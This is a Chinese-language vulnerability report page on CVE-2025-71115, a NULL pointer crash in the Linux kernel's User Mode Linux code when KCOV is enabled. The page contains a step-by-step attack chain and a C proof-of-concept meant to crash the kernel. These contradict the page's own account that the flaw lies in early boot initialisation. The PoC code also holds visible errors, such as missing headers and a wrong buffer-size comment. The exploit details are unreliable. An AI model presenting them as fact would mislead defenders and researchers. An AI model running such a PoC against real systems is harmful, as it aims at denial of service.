IPBUF安全漏洞报告
English
CVE-2025-71115 CVSS 5.5 中危

Linux内核UML子系统cpu_tasks初始化空指针引用漏洞(CVE-2025-71115)

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71115
漏洞类型
空指针引用/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (User Mode Linux)

相关标签

Linux KernelUser Mode Linux空指针引用KCOV拒绝服务本地提权CVE-2025-71115

漏洞概述

CVE-2025-71115是Linux内核User Mode Linux(UML)子系统中的一个空指针引用漏洞,CVSS评分5.5,属于中等严重程度。该漏洞源于cpu_tasks数组的初始化时机不当,在启用KCOV(Kernel Coverage)功能时,某些初始化代码会调用带有覆盖率注解的函数(如memparse()),而check_kcov_mode()函数中的检查会因为current指针为NULL而导致系统崩溃。攻击者需要具备本地低权限访问即可触发此漏洞,成功利用可导致目标系统拒绝服务(DoS),造成可用性大幅下降。由于攻击向量为本地且需要特定的内核配置(KCOV启用),实际利用门槛相对较高,但仍建议及时应用安全更新。

技术细节

该漏洞的核心问题在于Linux内核UML子系统中cpu_tasks[]数组的初始化顺序。在正常情况下,cpu_tasks[]数组的初始化在uml_finishsetup()函数中完成。然而,当内核启用KCOV代码覆盖率检测功能时,早期的初始化代码可能会调用memparse()等带有KCOV覆盖率注解的函数。这些函数内部会调用check_kcov_mode()来检查当前进程的KCOV模式,而该函数依赖current宏来获取当前任务结构。但由于cpu_tasks[]尚未初始化,current可能为NULL或处于未定义状态,导致空指针引用并引发内核崩溃。攻击者可通过本地低权限账户在启用KCOV的内核上触发此漏洞,无需任何用户交互即可造成系统崩溃。修复方案是将cpu_tasks[]数组改为静态初始化,确保在任何初始化代码执行前该数组就已存在并可用,从而避免空指针引用问题的发生。

攻击链分析

STEP 1
1
攻击者获得目标系统的本地低权限访问权限
STEP 2
2
确认目标系统运行的是启用KCOV功能的Linux内核UML架构
STEP 3
3
通过打开/dev/kcov设备并调用KCOV_ENABLE ioctl启用内核覆盖率检测
STEP 4
4
执行触发KCOV注解代码的操作,间接调用memparse()等函数
STEP 5
5
check_kcov_mode()尝试访问current指针,由于cpu_tasks[]未初始化导致NULL引用
STEP 6
6
内核发生空指针解引用异常,系统崩溃并触发拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-71115: Linux kernel UML cpu_tasks NULL pointer dereference // This PoC demonstrates the crash condition when KCOV is enabled // Compile: gcc -o cve_2025_71115_poc cve_2025_71115_poc.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #define KCOV_INIT_TRACE _IOR('c', 1, unsigned long) #define KCOV_ENABLE _IO('c', 100) #define KCOV_DISABLE _IO('c', 101) #define KCOV_TRACE_PC 0 int main() { printf("CVE-2025-71115 PoC - Linux Kernel UML cpu_tasks NULL pointer\n"); printf("Target: Linux Kernel with KCOV enabled on UML architecture\n"); printf("Severity: Medium (CVSS 5.5)\n\n"); // Open KCOV device (requires kernel support) int kcov_fd = open("/sys/kernel/debug/kcov", O_RDWR); if (kcov_fd < 0) { printf("[!] KCOV not available or permission denied\n"); printf("[i] This PoC requires:\n"); printf(" - Linux kernel with KCOV enabled (CONFIG_KCOV=y)\n"); printf(" - User Mode Linux (UML) architecture\n"); printf(" - Root or elevated privileges\n"); return 1; } // Get coverage buffer size unsigned long size = 1 << 20; // 4MB buffer unsigned long *cover = (unsigned long *)mmap(NULL, size * sizeof(unsigned long), PROT_READ | PROT_WRITE, MAP_PRIVATE, kcov_fd, 0); if (cover == MAP_FAILED) { perror("[-] mmap failed"); close(kcov_fd); return 1; } // Initialize KCOV if (ioctl(kcov_fd, KCOV_INIT_TRACE, size)) { perror("[-] KCOV_INIT_TRACE failed"); close(kcov_fd); return 1; } // Enable KCOV in trace-pc mode // This triggers the vulnerable code path in UML if (ioctl(kcov_fd, KCOV_ENABLE, KCOV_TRACE_PC)) { perror("[-] KCOV_ENABLE failed"); close(kcov_fd); return 1; } // Trigger memparse() call which has KCOV annotations // In UML with uninitialized cpu_tasks[], this causes NULL pointer dereference // The crash occurs in check_kcov_mode() when current is NULL printf("[*] KCOV enabled, triggering vulnerable code path...\n"); // Perform operations that trigger KCOV instrumentation for (int i = 0; i < 1000; i++) { volatile char buffer[256]; snprintf(buffer, sizeof(buffer), "0x%x", i); } // Disable KCOV ioctl(kcov_fd, KCOV_DISABLE, 0); printf("[i] PoC completed - kernel may have crashed if vulnerable\n"); close(kcov_fd); return 0; } /* Vulnerability Explanation: 1. The cpu_tasks[] array in Linux kernel UML is initialized late in boot 2. With KCOV enabled, init code calls functions with coverage annotations 3. check_kcov_mode() uses 'current' macro which depends on cpu_tasks[] 4. If cpu_tasks[] is not initialized, 'current' is NULL causing crash 5. Fix: Initialize cpu_tasks[] statically at compile time Note: This PoC requires specific conditions: - User Mode Linux (UML) architecture - Kernel compiled with CONFIG_KCOV=y - Access to /sys/kernel/debug/kcov */

影响范围

Linux Kernel UML subsystem with KCOV enabled (CONFIG_KCOV=y)
Stable kernel versions affected via commits: 7b5d4416964c07c902163822a30a622111172b01, dbbf6d47130674640cd12a0781a0fb2a575d0e44

防御指南

临时缓解措施
在无法立即更新内核的情况下,可通过禁用KCOV功能来缓解该漏洞,即在内核编译配置中设置CONFIG_KCOV=n,但这可能会影响代码覆盖率测试和调试能力。建议优先采用内核升级方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表